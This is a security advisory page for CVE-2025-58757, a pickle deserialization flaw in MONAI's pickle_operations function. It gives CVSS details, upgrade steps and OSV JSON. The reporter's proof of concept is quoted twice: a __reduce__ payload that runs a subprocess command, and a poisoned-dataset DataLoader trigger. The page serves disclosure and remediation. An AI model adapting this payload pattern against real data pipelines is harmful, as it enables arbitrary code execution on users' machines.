CVE-2025-58757: Monai Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-p8cm-mm2v-gwjm
CVSS 8.8
CWE-502
Published
Advisory Summary

CVE-2025-58757 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Monai libraries in the PyPI ecosystem. The issue involves unsafe use of pickle deserialization may lead to rce. Remediation is available by upgrading affected packages to version 1.5.1.

CVE-2025-58757 at a Glance

CVE Identifier CVE-2025-58757
GHSA Identifier GHSA-p8cm-mm2v-gwjm
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Monai
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-58757

To remediate this vulnerability, upgrade all affected Monai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

monai fixed: 1.5.1
pip install monai>=1.5.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show monai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-58757, inspect your installed packages using pip:

pip show monai

Analyze the terminal output to locate any version of Monai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.1), your application is affected.

Note: The pip show monai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Monai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

>To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.) ### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. When verified using the following proof-of-concept, arbitrary code execution can occur. ``` #Poc from monai.data.utils import pickle_operations import pickle import subprocess class MaliciousPayload: def __reduce__(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) malicious_data = pickle.dumps(MaliciousPayload()) attack_data = { 'image': 'normal_image_data', 'label_transforms': malicious_data, 'metadata_transforms': malicious_data } result = pickle_operations(attack_data, is_encode=False) ``` ``` #My /tmp directory contents before running the POC root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid ``` Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful. ``` #Running Poc root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp autodl.sh.log hacker1.txt selenium-managersXRcjF supervisor.sock supervisord.pid ``` The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content. ``` malicious_data = { 'image': normal_image_tensor, 'label': normal_label_tensor, 'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload 'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points } dataset = [malicious_data, ...] ``` When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations. ``` from monai.data import list_data_collate dataloader = DataLoader( dataset, batch_size=4, collate_fn=list_data_collate # Trigger the vulnerability ) # Automatically execute malicious code while traversing the data for batch in dataloader: # Malicious code is executed in pickle_operations pass ``` When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered. ### Impact Arbitrary code execution ### Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

CVE-2025-58757 Affected Monai Versions

1 component(s)
Fixed Versions:
1.5.1
Product / Package Ecosystem Affected Versions Fixed Version
monai
PyPI
< 1.5.1
1.5.1

References

Frequently Asked Questions

What is CVE-2025-58757?
CVE-2025-58757 is a security vulnerability in Monai involving Unsafe use of Pickle deserialization may lead to RCE under CWE-502: Deserialization of Untrusted Data.
Which Monai versions are affected?
Affected versions include releases prior to 1.5.1 across affected packages: monai.
What version fixes CVE-2025-58757?
Upgrading to 1.5.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is monai affected?
Yes, monai is affected in releases prior to 1.5.1. Upgrade your dependency to 1.5.1 or later.
What is the CVSS score of CVE-2025-58757?
CVE-2025-58757 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-58757?
CVE-2025-58757 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2025-58757?
Run the dependency tree command: 'pip show monai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p8cm-mm2v-gwjm",
  "modified" : "2026-06-06T00:33:22Z",
  "published" : "2025-09-09T21:21:23Z",
  "aliases" : [ "CVE-2025-58757" ],
  "summary" : "Monai: Unsafe use of Pickle deserialization may lead to RCE",
  "details" : ">To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)\n\n### Summary\nThe ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.\n\nWhen verified using the following proof-of-concept, arbitrary code execution can occur.\n```\n#Poc\nfrom monai.data.utils import pickle_operations  \n\nimport pickle  \nimport subprocess  \n  \nclass MaliciousPayload:  \n    def __reduce__(self):    \n        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  \n  \nmalicious_data = pickle.dumps(MaliciousPayload())\n\nattack_data = {  \n    'image': 'normal_image_data',  \n    'label_transforms': malicious_data,  \n    'metadata_transforms': malicious_data  \n}\n\nresult = pickle_operations(attack_data, is_encode=False)  \n```\n\n```\n#My /tmp directory contents before running the POC\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid\n```\nBefore running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.\n```\n#Running Poc\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid\nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py \nroot@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp\nautodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid\n```\nThe above proof-of-concept is merely a validation of the vulnerability.\nThe attacker creates malicious dataset content.\n```\nmalicious_data = {\n  'image': normal_image_tensor,\n  'label': normal_label_tensor,\n  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload\n  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points\n}\n\ndataset = [malicious_data, ...]\n```\nWhen a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.\n```\nfrom monai.data import list_data_collate\n\ndataloader = DataLoader(\ndataset,\nbatch_size=4,\ncollate_fn=list_data_collate # Trigger the vulnerability\n)\n\n# Automatically execute malicious code while traversing the data\n\nfor batch in dataloader:\n\n# Malicious code is executed in pickle_operations\n\npass\n```\nWhen a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.\n\n### Impact\nArbitrary code execution\n\n### Repair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "monai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-p8cm-mm2v-gwjm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-58757"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/pull/8566"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/commit/948fbb703adcb87cd04ebd83d20dcd8d73bf6259"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Project-MONAI/MONAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/monai/PYSEC-2025-142.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-09-09T21:21:23Z",
    "nvd_published_at" : "2025-09-09T00:15:32Z"
  }
}